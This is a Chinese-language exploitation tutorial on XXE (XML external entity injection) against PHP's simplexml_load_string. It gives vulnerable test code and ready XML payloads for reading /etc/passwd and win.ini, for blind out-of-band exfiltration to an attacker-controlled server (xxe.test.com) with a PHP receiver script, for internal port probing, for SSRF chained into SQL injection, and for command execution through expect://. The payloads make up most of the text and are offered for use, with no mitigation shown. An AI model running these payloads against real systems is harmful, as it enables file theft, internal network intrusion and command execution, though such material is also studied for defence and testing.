0x01 XXE危害说明
XXE就是XML外部实体注入。
由于服务端未对提交的xml的数据中引入外部实体做必要的处理,而在外部实体中引入php伪协议从而造成的攻击。
当允许引用外部实体时,通过构造恶意内容,可导致
- 读取任意文件
- 探测内网端口
- 攻击内网网站
- 执行系统命令
0x02 环境说明
PHP环境低于5.5使用此代码测试
<?php$data = file_get_contents('php://input');$xml = simplexml_load_string($data);# 不需要回显时 注释print($xml);print($xml);
PHP环境大于等于5.5使用此代码测试
<?php$data = file_get_contents('php://input');$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);# 不需要回显时 注释print($xml);print($xml);
0x03 漏洞利用
注意点: 利用xxe读取的数据返回不能有html元素不然会报错
读取文件
有回显
利用各种协议可以读取文件,比如file://,php://filter
# windows 读取文件-file<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]><value>&xxe;</value>

# windows 读取文件-php://filter<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini">]><root>&file;</root>
# linux 读取文件<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><value>&xxe;</value>
# linux 读取文件-php://filter<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]><root>&file;</root>
无回显
无回显的的话则需要将文件读取的内容发送到我们的远程服务器上。
// 模拟情景A服务器:攻击方 域名:http://xxe.test.comB服务器:受害者 域名:http://atest.test
// 1.在A服务器建立php文件接收数据// 文件名称:get.php<?phpfile_put_contents('xxe_data.txt', $_GET['xxe_local']);?>
// 2.在A服务器建立xml文件给 B服务器引入// 文件名称:1.xml<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxe.test.com/get.php?xxe_local=%data;'>">
// 此payload运行在 http://atest.test<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://xxe.test.com/1.xml">%sp;%param1;]><r>&exfil;</r>
在目标站点执行
执行完以后会把数据base64回传给get.php
get.php会创建一个xxe_data.txt文件并且写入数据
探测内网
探测内网端口
#修改 http://127.0.0.1:80 为任意地址端口<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]><root><name>&xxe;</name></root>
运行以后
如果访问的端口是打开的,那么他返回就会很快
如果返回很慢,就说明端口没开
攻击内网网站
例子1
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:80/test/test_sql.php?id=1" >]><foo>&xxe;</foo>
例如: http://127.0.0.1:80/test/test_sql.php?id=1 现在有sql注入


然后就是正常注入即可
例子2
为了解决返回有html会爆错的问题,我们可以把数据base64 发送到我们服务器进行查看
// 模拟情景A服务器:攻击方 域名:http://xxe.test.comB服务器:受害者 域名:http://127.0.0.1:80/test/test_sql.php?id=1
// 1.在A服务器建立php文件接收数据// 文件名称:get.php<?phpfile_put_contents('xxe_data.txt', $_GET['xxe_local']);?>
// 2.在A服务器建立xml文件给 B服务器引入// 文件名称:1.xml<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:80/test/test_sql.php?id=1"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxe.test.com/get.php?xxe_local=%data;'>">对http://127.0.0.1:80/test/test_sql.php?id=1进行普通注入即可例如:http://127.0.0.1:80/test/test_sql.php?id=1' and '1'='1http://127.0.0.1:80/test/test_sql.php?id=1' and '1'='2
// 此payload运行在 http://atest.test<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://xxe.test.com/1.xml">%sp;%param1;]><r>&exfil;</r>

执行完以后会把数据base64回传给get.php
get.php会创建一个xxe_data.txt文件并且写入数据
解密返回的就是页面数据 然后不断修改1.xml进行注入即可
执行系统命令
需要系统安装了PECL上的Expect拓展
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://ipconfig" >]><root><name>&xxe;</name></root>
